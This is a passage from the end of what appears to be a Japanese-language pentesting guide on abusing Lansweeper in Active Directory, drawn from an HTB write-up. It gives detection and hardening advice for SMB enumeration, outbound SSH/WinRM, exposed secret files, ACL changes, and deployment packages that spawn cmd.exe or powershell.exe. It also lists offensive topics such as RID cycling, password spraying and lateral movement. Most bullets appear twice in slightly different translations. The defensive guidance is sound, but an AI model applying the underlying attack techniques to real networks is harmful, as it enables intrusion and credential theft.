|
||||
- デプロイ作業はノイズが多く、Lansweeper および Windows のイベントログに記録が残ります。慎重に実行してください。
|
||||
- デプロイ操作はノイズが大きく、LansweeperやWindowsのイベントログに痕跡を残します。必要最小限で使用してください。
|
||||
|
||||
## 検出とハードニング
|
||||
|
||||
- 匿名のSMB列挙を制限または無効化する。RIDサイクリングやLansweeperの共有への異常なアクセスを監視する。
|
||||
- 出口制御:スキャナホストからの outbound SSH/SMB/WinRM をブロックまたは厳しく制限する。非標準ポート(例:2022)や Rebex のような異常なクライアントバナーに対してアラートを出す。
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`。機密情報は専用の vault に外部化し、露出時にはローテーションすることを検討する。最小権限のサービスアカウントや、可能であれば gMSA の利用を検討する。
|
||||
- AD の監視:Lansweeper 関連のグループ(例: “Lansweeper Admins”, “Remote Management Users”)の変更や、特権グループに対して GenericAll/Write メンバーシップを付与する ACL の変更に対してアラートを出す。
|
||||
- Deployment パッケージの作成/変更/実行を監査し、cmd.exe/powershell.exe を spawn するパッケージや予期しない送信接続を行うものにアラートを出す。
|
||||
- 匿名のSMB列挙を制限または無効化します。RID cyclingやLansweeperの共有への異常なアクセスを監視してください。
|
||||
- 送信制御:スキャナホストからの outbound SSH/SMB/WinRM をブロックまたは厳格に制限します。非標準ポート(例: 2022)やRebexのような異常なクライアントバナーに対してアラートを出してください。
|
||||
- Protect `Website\\web.config` and `Key\\Encryption.txt`。シークレットをvaultに外部化し、露出時にローテーションしてください。最小権限のサービスアカウントや、可能な場合はgMSAの利用を検討してください。
|
||||
- AD監視:Lansweeper関連グループ(例: “Lansweeper Admins”, “Remote Management Users”)の変更や、特権グループに対してGenericAll/Writeメンバーシップを付与するACL変更にアラートを設定してください。
|
||||
- 展開パッケージの作成/変更/実行を監査し、パッケージが cmd.exe/powershell.exe を起動したり、予期しない outbound 接続を行った場合にアラートを出してください。
|
||||
|
||||
## 関連トピック
|
||||
- SMB/LSA/SAMR 列挙と RID サイクリング
|
||||
- Kerberos の password spraying と clock skew に関する考慮事項
|
||||
- BloodHound を用いた application-admin グループのパス解析
|
||||
- WinRM の利用と lateral movement
|
||||
## Related topics
|
||||
- SMB/LSA/SAMR enumeration and RID cycling
|
||||
- Kerberos password spraying and clock skew considerations
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM usage and lateral movement
|
||||
|
||||
## References
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
|
Loading…
x
Reference in New Issue
Block a user